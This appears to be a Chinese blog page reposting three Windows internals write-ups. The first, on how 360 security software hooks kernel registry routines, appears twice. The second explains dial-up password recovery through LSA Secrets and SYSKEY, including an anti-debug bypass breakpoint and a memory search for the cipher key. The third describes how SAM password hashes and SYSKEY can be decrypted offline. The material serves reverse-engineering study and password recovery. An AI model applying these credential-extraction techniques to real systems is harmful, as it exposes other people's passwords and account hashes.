• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            tqsheng

            go.....
            隨筆 - 366, 文章 - 18, 評(píng)論 - 101, 引用 - 0
            數(shù)據(jù)加載中……

            360注冊(cè)表操作原理分析

            分類: 轉(zhuǎn)載2011-08-09 10:25 281人閱讀 評(píng)論(0) 收藏 舉報(bào)
             
            360注冊(cè)表操作原理分析 (前段閑的蛋疼才分析的,錯(cuò)誤的,大牛們請(qǐng)指出) 
            360為了有效的對(duì)注冊(cè)表進(jìn)行操作,繞過(guò)了RegXXXX函數(shù)的使用,自己封裝了一套API:BAPI.DLL 以及BAPIDRY.SYS來(lái)實(shí)現(xiàn)可靠的,有效的注冊(cè)表和文件操作; 
            調(diào)用流程如下: 
            (以BRegDeleteKey為例) 
            對(duì)BRegDeleteKey的封裝在Ring 3模仿了微軟的做法,BRegDeleteKey-->BRegDeleteKeyW之類的, 
            對(duì)于BRegDeleteKeyW則不再調(diào)用NtDeleteKey,而是利用了ZwDeviceIoControl向BAPIDRY.SYS發(fā)控制碼,自己驅(qū)動(dòng)去做NtDeleteKey做的操作; 
            關(guān)鍵在于360 Reg操作所用的方式:通過(guò)CmRegXXXX實(shí)現(xiàn),360是如何可靠的獲取CmRegXXXX的地址的呢?如下: 
            1、通過(guò)打開(kāi)注冊(cè)表的鍵值,獲取注冊(cè)表類型的objectType 
            2、打開(kāi)兩個(gè)注冊(cè)表項(xiàng),獲取對(duì)象以待后面用 
            3、對(duì)其中一個(gè)注冊(cè)表對(duì)象 

            nt!_CM_KEY_BODY 
            +0x000 Type : Uint4B 
            +0x004 KeyControlBlock : Ptr32 _CM_KEY_CONTROL_BLOCK 
            +0x008 NotifyBlock : Ptr32 _CM_NOTIFY_BLOCK 
            +0x00c ProcessID : Ptr32 Void 
            +0x010 Callers : Uint4B 
            +0x014 CallerAddress : [10] Ptr32 Void 
            +0x03c KeyBodyList : _LIST_ENTRY 

            里面的CM_KEY_CONTROL_BLOCK. 
            nt!_CM_KEY_CONTROL_BLOCK 
            +0x000 RefCount : Uint4B 
            +0x004 ExtFlags : Pos 0, 8 Bits 
            +0x004 PrivateAlloc : Pos 8, 1 Bit 
            +0x004 Delete : Pos 9, 1 Bit 
            +0x004 DelayedCloseIndex : Pos 10, 12 Bits 
            +0x004 TotalLevels : Pos 22, 10 Bits 
            +0x008 KeyHash : _CM_KEY_HASH 
            +0x008 ConvKey : Uint4B 
            +0x00c NextHash : Ptr32 _CM_KEY_HASH 
            +0x010 KeyHive : Ptr32 _HHIVE 
            +0x014 KeyCell : Uint4B 
            +0x018 ParentKcb : Ptr32 _CM_KEY_CONTROL_BLOCK 
            +0x01c NameBlock : Ptr32 _CM_NAME_CONTROL_BLOCK 
            +0x020 CachedSecurity : Ptr32 _CM_KEY_SECURITY_CACHE 
            +0x024 ValueCache : _CACHED_CHILD_LIST 
            +0x02c IndexHint : Ptr32 _CM_INDEX_HINT_BLOCK 
            +0x02c HashKey : Uint4B 
            +0x02c SubKeyCount : Uint4B 
            +0x030 KeyBodyListHead : _LIST_ENTRY 
            +0x030 FreeListEntry : _LIST_ENTRY 
            +0x038 KcbLastWriteTime : _LARGE_INTEGER 
            +0x040 KcbMaxNameLen : Uint2B 
            +0x042 KcbMaxValueNameLen : Uint2B 
            +0x044 KcbMaxValueDataLen : Uint4B 
            +0x048 KcbUserFlags : Pos 0, 4 Bits 
            +0x048 KcbVirtControlFlags : Pos 4, 4 Bits 
            +0x048 KcbDebug : Pos 8, 8 Bits 
            +0x048 Flags : Pos 16, 16 Bits 
            里面的HHIVE 

            nt!_HHIVE 
            +0x000 Signature : Uint4B 
            +0x004 GetCellRoutine : Ptr32 _CELL_DATA* 
            +0x008 ReleaseCellRoutine : Ptr32 void 
            +0x00c Allocate : Ptr32 void* 
            +0x010 Free : Ptr32 void 
            +0x014 FileSetSize : Ptr32 unsigned char 
            +0x018 FileWrite : Ptr32 unsigned char 
            +0x01c FileRead : Ptr32 unsigned char 
            +0x020 FileFlush : Ptr32 unsigned char 
            +0x024 BaseBlock : Ptr32 _HBASE_BLOCK 
            +0x028 DirtyVector : _RTL_BITMAP 
            +0x030 DirtyCount : Uint4B 
            +0x034 DirtyAlloc : Uint4B 
            +0x038 RealWrites : UChar 
            +0x03c Cluster : Uint4B 
            +0x040 Flat : UChar 
            +0x041 ReadOnly : UChar 
            +0x042 Log : UChar 
            +0x044 HiveFlags : Uint4B 
            +0x048 LogSize : Uint4B 
            +0x04c RefreshCount : Uint4B 
            +0x050 StorageTypeCount : Uint4B 
            +0x054 Version : Uint4B 
            +0x058 Storage : [2] _DUAL 
            里面的函數(shù)HvpGetCellMapped進(jìn)行hook,在而后分別對(duì)哪兩個(gè)打開(kāi)的注冊(cè)表項(xiàng)進(jìn)行若干的注冊(cè)表操作(調(diào)用前面獲取的NtRegxxx來(lái)完成),那么360為什么要hook那個(gè)函數(shù)膩,原因是,NtRegxxxx的若干操作會(huì)調(diào)用相應(yīng)的CmRegxxxx來(lái)完成,而CmRegxxx又會(huì)調(diào)用HvpGetCellMapped這個(gè)函數(shù),F(xiàn)ake_HvpGetCellMapped的作用很簡(jiǎn)單: 
            假設(shè)對(duì)那個(gè)自己的測(cè)試鍵值調(diào)用了NtSetValueKey,在找個(gè)函數(shù)里可以找到如下代碼: 
            if (NT_SUCCESS(status)) 

            status = CmSetValueKey(........) 


            這里就是和諧的CmSetValueKey,當(dāng)這個(gè)東西運(yùn)行,在這個(gè)函數(shù)里可以找到調(diào)用了HvpGetCellMapped這個(gè)函數(shù),然而現(xiàn)在卻調(diào)用了Fake_HvpGetCellMapped這個(gè)函數(shù),找個(gè)函數(shù)里面通過(guò)棧回溯機(jī)制,定位到上面那個(gè)圖的代碼對(duì)應(yīng)的 
            CALL CmpSetValueKey,(棧回溯是通過(guò)找個(gè)函數(shù)的第一個(gè)參數(shù) 
            作為回溯查找對(duì)象的,前面打開(kāi)自己的注冊(cè)表時(shí)保存了找個(gè)值,這樣就確定了CmRegxxxx的地址。 

            后面還有一段用于校驗(yàn)CmRegxxxx是否被inline hook的,就不說(shuō)了。 

            360操作注冊(cè)表

            分類: 轉(zhuǎn)載 281人閱讀 評(píng)論(0) 收藏 舉報(bào)
             
            360注冊(cè)表操作原理分析 (前段閑的蛋疼才分析的,錯(cuò)誤的,大牛們請(qǐng)指出) 
            360為了有效的對(duì)注冊(cè)表進(jìn)行操作,繞過(guò)了RegXXXX函數(shù)的使用,自己封裝了一套API:BAPI.DLL 以及BAPIDRY.SYS來(lái)實(shí)現(xiàn)可靠的,有效的注冊(cè)表和文件操作; 
            調(diào)用流程如下: 
            (以BRegDeleteKey為例) 
            對(duì)BRegDeleteKey的封裝在Ring 3模仿了微軟的做法,BRegDeleteKey-->BRegDeleteKeyW之類的, 
            對(duì)于BRegDeleteKeyW則不再調(diào)用NtDeleteKey,而是利用了ZwDeviceIoControl向BAPIDRY.SYS發(fā)控制碼,自己驅(qū)動(dòng)去做NtDeleteKey做的操作; 
            關(guān)鍵在于360 Reg操作所用的方式:通過(guò)CmRegXXXX實(shí)現(xiàn),360是如何可靠的獲取CmRegXXXX的地址的呢?如下: 
            1、通過(guò)打開(kāi)注冊(cè)表的鍵值,獲取注冊(cè)表類型的objectType 
            2、打開(kāi)兩個(gè)注冊(cè)表項(xiàng),獲取對(duì)象以待后面用 
            3、對(duì)其中一個(gè)注冊(cè)表對(duì)象 

            nt!_CM_KEY_BODY 
            +0x000 Type : Uint4B 
            +0x004 KeyControlBlock : Ptr32 _CM_KEY_CONTROL_BLOCK 
            +0x008 NotifyBlock : Ptr32 _CM_NOTIFY_BLOCK 
            +0x00c ProcessID : Ptr32 Void 
            +0x010 Callers : Uint4B 
            +0x014 CallerAddress : [10] Ptr32 Void 
            +0x03c KeyBodyList : _LIST_ENTRY 

            里面的CM_KEY_CONTROL_BLOCK. 
            nt!_CM_KEY_CONTROL_BLOCK 
            +0x000 RefCount : Uint4B 
            +0x004 ExtFlags : Pos 0, 8 Bits 
            +0x004 PrivateAlloc : Pos 8, 1 Bit 
            +0x004 Delete : Pos 9, 1 Bit 
            +0x004 DelayedCloseIndex : Pos 10, 12 Bits 
            +0x004 TotalLevels : Pos 22, 10 Bits 
            +0x008 KeyHash : _CM_KEY_HASH 
            +0x008 ConvKey : Uint4B 
            +0x00c NextHash : Ptr32 _CM_KEY_HASH 
            +0x010 KeyHive : Ptr32 _HHIVE 
            +0x014 KeyCell : Uint4B 
            +0x018 ParentKcb : Ptr32 _CM_KEY_CONTROL_BLOCK 
            +0x01c NameBlock : Ptr32 _CM_NAME_CONTROL_BLOCK 
            +0x020 CachedSecurity : Ptr32 _CM_KEY_SECURITY_CACHE 
            +0x024 ValueCache : _CACHED_CHILD_LIST 
            +0x02c IndexHint : Ptr32 _CM_INDEX_HINT_BLOCK 
            +0x02c HashKey : Uint4B 
            +0x02c SubKeyCount : Uint4B 
            +0x030 KeyBodyListHead : _LIST_ENTRY 
            +0x030 FreeListEntry : _LIST_ENTRY 
            +0x038 KcbLastWriteTime : _LARGE_INTEGER 
            +0x040 KcbMaxNameLen : Uint2B 
            +0x042 KcbMaxValueNameLen : Uint2B 
            +0x044 KcbMaxValueDataLen : Uint4B 
            +0x048 KcbUserFlags : Pos 0, 4 Bits 
            +0x048 KcbVirtControlFlags : Pos 4, 4 Bits 
            +0x048 KcbDebug : Pos 8, 8 Bits 
            +0x048 Flags : Pos 16, 16 Bits 
            里面的HHIVE 

            nt!_HHIVE 
            +0x000 Signature : Uint4B 
            +0x004 GetCellRoutine : Ptr32 _CELL_DATA* 
            +0x008 ReleaseCellRoutine : Ptr32 void 
            +0x00c Allocate : Ptr32 void* 
            +0x010 Free : Ptr32 void 
            +0x014 FileSetSize : Ptr32 unsigned char 
            +0x018 FileWrite : Ptr32 unsigned char 
            +0x01c FileRead : Ptr32 unsigned char 
            +0x020 FileFlush : Ptr32 unsigned char 
            +0x024 BaseBlock : Ptr32 _HBASE_BLOCK 
            +0x028 DirtyVector : _RTL_BITMAP 
            +0x030 DirtyCount : Uint4B 
            +0x034 DirtyAlloc : Uint4B 
            +0x038 RealWrites : UChar 
            +0x03c Cluster : Uint4B 
            +0x040 Flat : UChar 
            +0x041 ReadOnly : UChar 
            +0x042 Log : UChar 
            +0x044 HiveFlags : Uint4B 
            +0x048 LogSize : Uint4B 
            +0x04c RefreshCount : Uint4B 
            +0x050 StorageTypeCount : Uint4B 
            +0x054 Version : Uint4B 
            +0x058 Storage : [2] _DUAL 
            里面的函數(shù)HvpGetCellMapped進(jìn)行hook,在而后分別對(duì)哪兩個(gè)打開(kāi)的注冊(cè)表項(xiàng)進(jìn)行若干的注冊(cè)表操作(調(diào)用前面獲取的NtRegxxx來(lái)完成),那么360為什么要hook那個(gè)函數(shù)膩,原因是,NtRegxxxx的若干操作會(huì)調(diào)用相應(yīng)的CmRegxxxx來(lái)完成,而CmRegxxx又會(huì)調(diào)用HvpGetCellMapped這個(gè)函數(shù),F(xiàn)ake_HvpGetCellMapped的作用很簡(jiǎn)單: 
            假設(shè)對(duì)那個(gè)自己的測(cè)試鍵值調(diào)用了NtSetValueKey,在找個(gè)函數(shù)里可以找到如下代碼: 
            if (NT_SUCCESS(status)) 

            status = CmSetValueKey(........) 


            這里就是和諧的CmSetValueKey,當(dāng)這個(gè)東西運(yùn)行,在這個(gè)函數(shù)里可以找到調(diào)用了HvpGetCellMapped這個(gè)函數(shù),然而現(xiàn)在卻調(diào)用了Fake_HvpGetCellMapped這個(gè)函數(shù),找個(gè)函數(shù)里面通過(guò)棧回溯機(jī)制,定位到上面那個(gè)圖的代碼對(duì)應(yīng)的 
            CALL CmpSetValueKey,(棧回溯是通過(guò)找個(gè)函數(shù)的第一個(gè)參數(shù) 
            作為回溯查找對(duì)象的,前面打開(kāi)自己的注冊(cè)表時(shí)保存了找個(gè)值,這樣就確定了CmRegxxxx的地址。 
            后面還有一段用于校驗(yàn)CmRegxxxx是否被inline hook的,就不說(shuō)了。 

            posted @ 2013-02-11 21:08 tqsheng 閱讀(1348) | 評(píng)論 (0)編輯 收藏

            寬帶撥號(hào)連接密碼恢復(fù)原理

             

            技術(shù)可以通過(guò)努力學(xué)習(xí)而有所成就,但攻防的思維方式即使苦心鉆研往往也無(wú)大的收獲,就得多多借鑒高手的經(jīng)驗(yàn)了……

             

             編者按:在讀者來(lái)信中,經(jīng)常有朋友詢問(wèn)如何做一名成功的黑客或安全專家,如何才能找到好的安全技術(shù)學(xué)習(xí)方法。其實(shí),除了掌握一些必備的基礎(chǔ)知識(shí)和工具外,還要懂得編程等技術(shù);另外攻防思路的養(yǎng)成和培訓(xùn)也是很重要的。因?yàn)榧夹g(shù)可以通過(guò)努力學(xué)習(xí)而有所成就,但攻防的思維方式即使苦心鉆研往往也無(wú)大的收獲,就得多多借鑒高手的經(jīng)驗(yàn)了。在本文中,作者通過(guò)對(duì)NT平臺(tái)撥號(hào)連接密碼恢復(fù)原理的研究,層層索引,步步入微的思維方法就值得推薦。

              前段時(shí)間我的ADSL密碼忘記了,但幸好還保存在撥號(hào)連接里面,于是我到網(wǎng)上找了些星號(hào)密碼顯示工具,可惜不起作用。后來(lái)找到一種名為Dialupass的工具,這家伙不負(fù)我所望,把密碼給我還原出來(lái)了 (用的Dialupass v2.42,我的系統(tǒng)是Windows XP) 。抱著濃厚的興趣,我決定深入研究。略有收獲,愿與大家共享。

              Dialupass星號(hào)密碼顯示之謎

              看上去,Dialupass是非普通的星號(hào)密碼顯示工具,那它的原理是什么呢?上Google查了一番,沒(méi)找到相關(guān)資料。一生氣便抄起家伙——Windbg,準(zhǔn)備把它大卸八塊。郁悶的是,用Windbg加載后,密碼就不能還原出來(lái)了,顯示的是星號(hào)。換替補(bǔ)Ollydbg上場(chǎng),情況依舊。怪了,莫非這小工具有Anti-Debug功能?當(dāng)時(shí)只是一絲懷疑,因?yàn)閷?shí)在不相信這樣的小工具作者會(huì)花心思來(lái)保護(hù)。

              小知識(shí):

              Windbg工具:

              Windbg是微軟開(kāi)發(fā)的免費(fèi)源碼級(jí)調(diào)試工具。可以用于Kernel模式調(diào)試和用戶模式調(diào)試,還可以調(diào)試Dump文件。

              Anti-Debug技術(shù):

              Anti-Debug,即反跟蹤技術(shù)。防止 Cracker 用 SoftICE 之類的調(diào)試器動(dòng)態(tài)跟蹤,分析軟件。反跟蹤技術(shù)一般是具有針對(duì)性的,即針對(duì)某種調(diào)試器的反跟蹤,而不能防止所有的調(diào)試器跟蹤。

              在用S-ICE跟蹤的過(guò)程中,發(fā)現(xiàn)有這么一個(gè)調(diào)用:GetProcAddress(xx, “IsDebugPresent”)。原來(lái)真的有Anti-Debug功能,好在比較簡(jiǎn)單。統(tǒng)計(jì)了一下,總共有五處進(jìn)行了Anti-Debug檢查。

              OK,情況查明了,便換回Windbg來(lái)調(diào)試。在Windbg里面有這么一個(gè)斷點(diǎn)可繞過(guò)Anti-Debug檢測(cè):bp KERNEL32!IsDebuggerPresent “g poi(esp);r eax=0;g”。

              花了些時(shí)間跟蹤了一下,把Dialupass恢復(fù)密碼的流程都搞清楚了。這小程序貓膩還挺多的,總結(jié)如下:

              1. 關(guān)鍵函數(shù)不直接調(diào)用,而是用LoadLibraryA和GetProcAddress來(lái)獲取函數(shù)地址后再CALL;
              2. 函數(shù)名是經(jīng)過(guò)編碼的,反匯編后看字符串是看不到的;
              3. 關(guān)鍵地方一概用花指令來(lái)迷惑你和反匯編軟件。

             其實(shí)原理很簡(jiǎn)單,就是用rasapi32.dll里面的一些函數(shù)來(lái)獲取撥號(hào)連接的一些信息,再用 ADVAPI32!LsaRetrievePrivateData 函數(shù)來(lái)獲取密碼。


             

              關(guān)鍵字:LsaRetrievePrivateData和RasDialParams

              根據(jù)Dialupass的原理,寫了個(gè)類似的工具(完整的源代碼x_dialupass.c可以從.net/src/x_dialupass.c">http://security.xici.net/src/x_dialupass.c獲取)。后來(lái)用LsaRetrievePrivateData和RasDialParams做關(guān)鍵字,重新在Google搜索了一遍,找到一些類似的代碼。

              小提示:

              參考資源①和②是俄羅斯人公布的演示代碼,沒(méi)有對(duì)LsaRetrievePrivateData返回的數(shù)據(jù)進(jìn)行拆分用戶名和密碼。參考資源③是日本人公布的完整的應(yīng)用程序的代碼,可惜在對(duì)LsaRetrievePrivateData返回的數(shù)據(jù)進(jìn)行拆分處理時(shí)存在BUG,導(dǎo)致有些情況下用戶名和密碼取得不正確。

              ①http://www.lwteam.ru/modules/ne ws/article.php?storyid=167
              ②http://www.wasm.ru/forum/index.php?action=vthread&forum=12&topic=4873
              ③http://homepage2.nifty.com/spw/software/rtrick/

              后來(lái)發(fā)現(xiàn)Lsadump2 DUMP出來(lái)的數(shù)據(jù)里面包含了“LsaRetrievePrivateData”返回的數(shù)據(jù)。Lsadump2的原理大致如下:

              1.插入一個(gè)線程到Lsass.exe進(jìn)程;
              2.打開(kāi)LSA Policy database;
              3.從注冊(cè)表“HKLM\SECURITY\Policy\Secrets”中枚舉子鍵;
              4.LsarOpenSecret;
              5.LsarQuerySecret。

              進(jìn)一步跟蹤后發(fā)現(xiàn),其實(shí)ADVAPI32!LsaRetrievePrivateData是通過(guò)NdrClientCall2發(fā)送RPC調(diào)用到Lsass.exe進(jìn)程,Lsass.exe里面再調(diào)用LsarOpenSecret、LsarQuerySecret來(lái)完成獲取撥號(hào)連接信息過(guò)程的(LsarOpenSecret里面有權(quán)限判斷,非Admin組用戶是沒(méi)有權(quán)限來(lái)調(diào)用ADVAPI32!LsaRetrievePrivateData的)。

              跟蹤了一下LsarQuerySecret,發(fā)現(xiàn)它返回的數(shù)據(jù)其實(shí)是從注冊(cè)表中讀取。保存撥號(hào)連接信息的注冊(cè)表鍵值為:“HKLM(HKEY_LOCAL_MACHINE的縮寫)\SECURITY\Policy\Secrets\RasDialParams!SID#0\CurrVal”。

              SID對(duì)應(yīng)的是用戶的String SID (“HKLM\SECURITY”這個(gè)鍵只有System有權(quán)限讀寫)。

              LsarQuerySecret從注冊(cè)表中讀取出來(lái)數(shù)據(jù)后,接著調(diào)用LsapCrDecryptValue函數(shù)來(lái)解密,對(duì)于同一臺(tái)機(jī)器來(lái)說(shuō),解密時(shí)用的KEY始終都是固定的,這個(gè)KEY在lsasrv.dll里面的變量名為_(kāi)LsapDbSecretCipherKey。在Windows 2003里面,變量名不一樣,對(duì)應(yīng)的有兩個(gè),分別為L(zhǎng)sapDbSecretCipherKeyWrite和LsapDbSecretCipherKeyRead,但這兩個(gè)變量里面的數(shù)據(jù)是一樣的。

              LsapCrDecryptValue用的似乎是標(biāo)準(zhǔn)DES算法,解密時(shí)主要流程如下:

              lsasrv!LsapCrDecryptValue→advapi32!SystemFunction005→advapi32!DecryptDataLength→advapi32!SystemFunction002→advapi32!DES_ECB_LM→advapi32!des

              解密后,在“<<”標(biāo)志處還有一個(gè)判斷(如圖所示)。

             

              假如[esi+45h]為0的話(esi是LsarOpenSecret函數(shù)返回的Handle),它會(huì)把解密后的數(shù)據(jù)再進(jìn)行一次加密,不管是Windows 2000還是Windows 2003,這時(shí)用的KEY始終都是固定為“SystemLibraryDTC”。

              Lsadump2里面調(diào)用LsarOpenSecret得到的Handle,偏移0x45處值為1,所以LsarQuerySecret函數(shù)返回的就是解密后的數(shù)據(jù)了。

              而在調(diào)用ADVAPI32!LsaRetrievePrivateData時(shí),LsarOpenSecret返回的Handle偏移0x45處值為0x0,所以LsarQuerySecret返回的是解密后又加密的數(shù)據(jù),所以在ADVAPI32!LsaRetrievePrivateData里面還有一個(gè)對(duì)應(yīng)的解密過(guò)程。相應(yīng)地,LsapCrEncryptValue加密的主要流程如下:
              lsasrv!LsapCrEncryptValue→advapi32!SystemFunction004→advapi32!EncryptDataLength→advapi32!SystemFunction001→advapi32!DES_ECB_LM→advapi32!des

              _LsapDbSecretCipherKey是如何產(chǎn)生的?

              開(kāi)始我以為在同一版本的Windows里面,_LsapDbSecretCipherKey是固定的,后來(lái)發(fā)現(xiàn)我錯(cuò)了。那么這個(gè)


            _LsapDbSecretCipherKey是如何產(chǎn)生的?流程如下:

              1.調(diào)用ntdll!NtConnectPort打開(kāi) L“\Security\WxApiPort”;
              2.調(diào)用ntdll!NtRequestWaitReplyPort得到一些數(shù)據(jù);
              ebp-40處為NtRequestWaitReplyPort返回的LPCMESSAGE:
              kd> dd ebp-40
              0006fcb8 00400028 00000002 000000dc 000000d8
              0006fcc8  00000024 00000000 00000000 00000000
              0006fcd8  00000001 00000010 00000010 fd317e3e
              0006fce8  7e24e86d d12503d3 5f7d01a8 7665f528
              kd> db ebp-14
              0006fce4  3e 7e 31 fd 6d e8 24 7e-d3 03 25 d1 a8 01 7d 5f

              3.將上述“ebp-14”處的0x10字節(jié)數(shù)據(jù)COPY到lsasrv.dll里面的_LsapDbSysKey變量。

              _LsapDbSysKey在不同的機(jī)器上面(即使版本相同)都是不一樣的。它是怎么產(chǎn)生的?有幸拜讀了Flashsky的大作后(http://www.xfocus.net/articles/200306/550.html),我才明白這就是傳說(shuō)中的“SYSKEY”。用Flashsky的代碼驗(yàn)證一下:

              c:\>getsyskey
              3e 7e 31 fd 6d e8 24 7e d3 03 25 d1 a8 01 7d 5f

              跟蹤系統(tǒng)啟動(dòng)過(guò)程,可知道“\Security\WxApiPort”是由Winlogon.exe進(jìn)程創(chuàng)建的,然后Lsass進(jìn)程通過(guò)這個(gè)LPC PORT從Winlogon進(jìn)程獲取SYSKEY,隨后Winlogon進(jìn)程會(huì)關(guān)閉這個(gè)LPC PORT。所以在系統(tǒng)啟動(dòng)完成之后,用Process Explorer等工具是看不到這個(gè)LPC PORT存在的,而且在Winlogon和Lsass進(jìn)程空間都搜索不到上述SYSKEY。

              4.從注冊(cè)表“HKLM\SECURITY\Policy\PolSecretEncryptionKey”中讀取出來(lái)一段數(shù)據(jù),調(diào)用函數(shù)_LsapDbDecryptKeyWithSyskey,把它用_LsapDbSysKey來(lái)解密,_LsapDbSecretCipherKey就在解密完后的數(shù)據(jù)里面(LsapDbDecryptKeyWithSyskey函數(shù)做的其實(shí)就是MD5和RC4運(yùn)算)。

              從注冊(cè)表中獲取撥號(hào)連接密碼

              了解原理后,我們就可以直接從注冊(cè)表里面來(lái)獲取撥號(hào)連接中的密碼等數(shù)據(jù)了。但有幾個(gè)問(wèn)題需要解決:

              1.原料:“HKLM\SECURITY”鍵只有SYSTEM有權(quán)限讀寫。我們可以把代碼插入到SYSTEM進(jìn)程里面去運(yùn)行,或者把這個(gè)鍵修改為ADMIN有權(quán)限讀,或者提升本進(jìn)程權(quán)限。

              2.催化劑:如何獲取_LsapDbSysKey解密用的函數(shù),_LsapDbDecryptKeyWithSyskey為非導(dǎo)出函數(shù)。可以用Flashsky的代碼來(lái)獲取SYSKEY,利用公開(kāi)的MD5和RC4庫(kù)函數(shù)來(lái)解密。

              直接從Lsass.exe進(jìn)程里面搜索_LsapDbSecretCipherKey,它的結(jié)構(gòu)如下:

              typedef struct _LSA_BLOB {
              DWORD cbData;
              DWORD cbMaxData;
              BYTE  pbData;
              } LSA_BLOB;

              pbData指向存儲(chǔ)KEY的地址,KEY長(zhǎng)度固定為0x10字節(jié),即cbData和cbMaxData都是固定為0x10。所以從Lsass進(jìn)程的空間里面搜索“\x10\x00\x00\x00\x10\x00\x00\x00”即可找到正確的KEY。結(jié)果可能會(huì)有多個(gè),可以把所有搜索到的KEY都試一下,總有一個(gè)正確的。

              3.工具:解密函數(shù)LsapCrDecryptValue為非導(dǎo)出函數(shù),怎么辦?或許可以根據(jù)特征碼來(lái)搜索,但總覺(jué)得不太可靠。幸好,LsapCrDecryptValue調(diào)用的advapi32!SystemFunction005是導(dǎo)出函數(shù)。或者直接利用公開(kāi)的DES庫(kù)函數(shù),自己來(lái)運(yùn)算。

              注:x_dialupass2.cpp中的代碼演示了直接從注冊(cè)表中讀取數(shù)據(jù)并解密之的過(guò)程,完整的源代碼可從http://security.xici.net/src/x_dialupass2.cpp獲取。

            posted @ 2013-02-11 10:49 tqsheng 閱讀(896) | 評(píng)論 (2)編輯 收藏

            SAM的散列存儲(chǔ)加密解密算法以及SYSKEY的計(jì)算

            SAM的散列存儲(chǔ)加密解密算法以及SYSKEY的計(jì)算


            創(chuàng)建時(shí)間:2003-06-04
            文章屬性:原創(chuàng)
            文章提交:flashsky (flashsky1_at_sina.com)

            SAM的散列存儲(chǔ)加密解密算法以及SYSKEY的計(jì)算
            轉(zhuǎn)摘請(qǐng)注明作者和安全焦點(diǎn)
            作者:FLASHSKY
            SITE:WWW.XFOCUS.NETWWW.SHOPSKY.COM
            郵件:flashsky@xfocus.org
            作者單位:?jiǎn)⒚餍浅椒e極防御實(shí)驗(yàn)室

                SAM中存放在密碼散列這是大家都知道的,但是其密碼存放在對(duì)應(yīng)相對(duì)SID的V鍵下面卻是一種加密的形式,如何通過(guò)這個(gè)加密的串計(jì)算出密碼散列了,大家用PWDUMP3這樣的工具可以導(dǎo)出散列來(lái),主要原理是系統(tǒng)空間會(huì)存在一個(gè)sampsecretsessionkey,PWDUMP3就是拷貝一個(gè)服務(wù)到對(duì)方機(jī)器上,讀出這個(gè)lsass進(jìn)程空間的sampsecretsessionkey再進(jìn)行解密的,其實(shí)這個(gè)sampsecretsessionkey的生成也是非常復(fù)
            雜的,我們這里做一個(gè)比PWDUMP3更深入的一個(gè)探討和分析,sampsecretsessionkey的計(jì)算與生成,這樣我們就能在直接從物理文件中計(jì)算出sampsecretsessionkey,來(lái)解密注冊(cè)表中的密碼散列,對(duì)于一個(gè)忘記密碼的系統(tǒng)或一個(gè)不知道用戶口令但已經(jīng)獲得磁盤的系統(tǒng)有這重要意義,這樣我們完全就能通過(guò)注冊(cè)表文件的分析來(lái)解密注冊(cè)表中的密碼散列。
                    通過(guò)分析,我們發(fā)現(xiàn)以前在NT中常說(shuō)的SYSKEY在W2K系統(tǒng)的這個(gè)過(guò)程中起著非常重要的作用,其實(shí)SYSKEY已經(jīng)做為W2K的一個(gè)固定組件而存在了,我們下面給出一個(gè)整個(gè)過(guò)程:
                     系統(tǒng)引導(dǎo)時(shí):
                    計(jì)算獲得SYSKEY
                    讀取注冊(cè)表中的SAM\SAM\Domains\Accoun\V中保存的KEY信息(一般是最后的0X38字節(jié)的前0X30字節(jié))
                    使用SYSKEY和F鍵的前0X10字節(jié),與特殊的字串"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%","0123456789012345678901234567890123456789"做MD5運(yùn)算,再與F鍵的后0X20字節(jié)做RC4運(yùn)算就可以獲得sampsecretsessionkey,這個(gè)
            sampsecretsessionkey固定存放在LSASS進(jìn)程中,作為解密SAM中加密數(shù)據(jù)到散列時(shí)用
                

            -------------------------------------------------
            |系統(tǒng)計(jì)算出的SYSKEY                              |
            |F鍵信息的前0x10字節(jié)                             |MD5
            |"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"|--->------
            |"0123456789012345678901234567890123456789"      |          |RC4
            --------------------------------------------------          |------>sampsecretsessionkey
                                                                        |
                                 F鍵信息的后0x20字節(jié) -------------------

                
                當(dāng)需要解密SAM中加密數(shù)據(jù)到散列時(shí)(如遠(yuǎn)程登陸):
                    讀取sampsecretsessionkey,再與當(dāng)前用戶的相對(duì)SID,散列類型名(如LMPASSWORD,NTPASSWORD)做MD5運(yùn)算獲得針對(duì)這個(gè)用戶密碼散列的sessionkey
                    利用sessionkey用RC4解密第一道加密的散列,再將用戶相對(duì)ID擴(kuò)展成14字節(jié)做DES切分,生成DESECB,再對(duì)用RC4處理后的散列進(jìn)行分開(kāi)成2次DES解密就可以獲得密碼散列。
                   -------------------------
                   |sampsecretsessionkey   |
                   |sid                    |MD5
                   |"LMPASSWOR"/"NTPASSWOR"|--->sessionkey---
                   |                       |                 |RC4    2次DES(填充SID做KEY切分)
                   -------------------------                 |----->-------------------------->HASH
                                                                                      |
                            對(duì)應(yīng)的SAM中加密的密碼散列 ---------------------------------


                這個(gè)算法相當(dāng)好,保證了不同用戶的相同散列在SAM存放不一樣(相對(duì)SID不一樣),不同機(jī)器的同一SID同口令的SAM中的散列存放不一樣(SYSKEY不同);
                    這個(gè)算法的DES/RC4都是可逆的,這樣如果我們能通過(guò)離線(文件)方式獲得SYSKEY的話(其他的信息都可以分析SAM文件獲得),我們完全實(shí)現(xiàn)離線修改SAM中口令的效果,不過(guò)這需要對(duì)注冊(cè)表的結(jié)構(gòu)和SAM中V/F鍵的數(shù)據(jù)結(jié)構(gòu)再做深入的研究,這里就不談了。
                    那么SYSKEY是如何計(jì)算出來(lái)的呢?這可能是我發(fā)現(xiàn)MS最牛皮的一個(gè)地方了,先開(kāi)始想一定會(huì)存放在注冊(cè)表某處,呵呵,最后跟蹤MS引導(dǎo)時(shí)候的WINLOGON進(jìn)程才知道,SYSKEY是這樣計(jì)算出來(lái)的,很多人會(huì)大掉眼鏡吧:
                    SYSKEY的計(jì)算是:SYSTEM\\CurrentControlSet\\Control\\Lsa下的
                    JD,Skew1,GBG,Data四個(gè)鍵值的CLASS值通過(guò)換位得來(lái)的,靠,佩服MS。這樣我們完全可以離線分析注冊(cè)表就能獲得對(duì)其SAM的加密散列的導(dǎo)出或改寫了。

